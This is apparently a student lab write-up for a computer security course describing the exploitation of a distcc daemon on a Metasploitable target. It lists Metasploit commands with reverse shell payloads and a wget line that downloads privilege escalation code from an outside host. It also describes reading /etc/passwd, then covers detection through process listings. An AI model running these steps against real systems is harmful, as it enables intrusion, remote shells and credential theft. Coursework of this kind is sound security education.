Nick Pandelakis and Owen Barnett
CS 231

**Part 2: Find me an exploit**

1. Exploit: unix/misc/distcc_exec
    a. Instructions:
        i. Open Kali Linux
        ii. Open terminal and use the following commands:
            1. systemcl start postgresql
            2. msfdb init
            3. msfconsole
            4. workspace -a <workspace name>
            5. use exploit/unix/misc/distcc_exec
            6. Set RHOST <target ip address>
            7. Set LHOST <attacker ip address>
    b. Payload 1: cmd/unix/reverse
        i. Set PAYLOAD cmd/unix/reverse
        ii. Exploit
    c. Payload 2: cmd/unix/reverse_ruby
        i. Set PAYLOAD cmd/unix/reverse_ruby
        ii. Exploit
2. How does this exploit work?
    a. Distcc is a program that can be used to speed up compilation time for C and C++ code by compiling the code on different machines on a given network. If a machine (such as metasploitable) is running the distcc daemon and has the necessary compiler software installed, it is open to running certain commands issued by other computers on the network. This exploit uses misconfigured server port access to allow the arbitrary commands to be run. - https://blcklstdbb.gitbooks.io/hackmd/content/chapter1.html
3. Payloads
    a. The first payload we used was cmd/unix/reverse. This payload allowed us full access to metasploitable files without the need to elevate our privileges.
    b. The second payload we used was cmd/unix/reverse_ruby. Unlike the first payload, this payload gave us limited privileges. These privileges, however, still allowed us to download some C code using “wget --no-check-certificate http://www.computersecuritystudent.com/DOWNLOADS/8572”. After compiling the code, we were then able to run it and elevate our privileges to root, giving us full control over metasploitable.
4. /etc/passwd

a. With both payloads, we were able to open /etc/passwd to see usernames and password hashes. From there we were able to copy and paste the file contents into another file in Kali.

**Part 3: Detection**

1. Using ps -A, we were able to detect a change. Before the exploit was run, the output of ps 4537 was

| PID | TTY | | TIME | COMMAND |
|---|---|---|---|---|
| 4537 | ? | | 00:00:00 | jsvc |

After running the exploit, ps 4537 yielded

| PID | TTY | STAT | TIME | COMMAND |
|---|---|---|---|---|
| 4537 | ? | SI | 0:06 | /usr/bin/jsvc -user tomcat55 -cp /usr/share/java/commons-daemon.jar:/usr/share/tomcat5.5/bin/bootstrap.jar -outfile SYSLOG -errfile SYSLOG -pidfile /var/run/tomcat5.5.pid -Djava.awt.headless=true -Xmx128M -Djava.endorsed.dirs=/usr/share/tomcat5.5/common/endorsed -Dcatalina.base=/var/lib/tomcat5.5 -Dcatalina.home=/usr/share/tomcat5.5 -Djava.io.tmpdir=/var/lib/tomcat5.5/temp -Djava.security.manager -Djava.security.policy=/var/lib/tomcat5.5/conf/catalina.policy org.apache.catalina.startup.Bootstrap |

This second output seems mildly nefarious and would probably alert a competent sysadmin that something bad was happening. One important thing to note however is that the PID of our attack was not static, so only checking for changes there might not be enough to detect the attack.

**Part 4: Something Interesting**

1. We really enjoyed the elevation of privilege aspect of our second payload. This wasn't a topic that we talked about very much in class, so it was cool to see how we were able to use our limited power to compile C code and transform ourselves into a much more powerful user.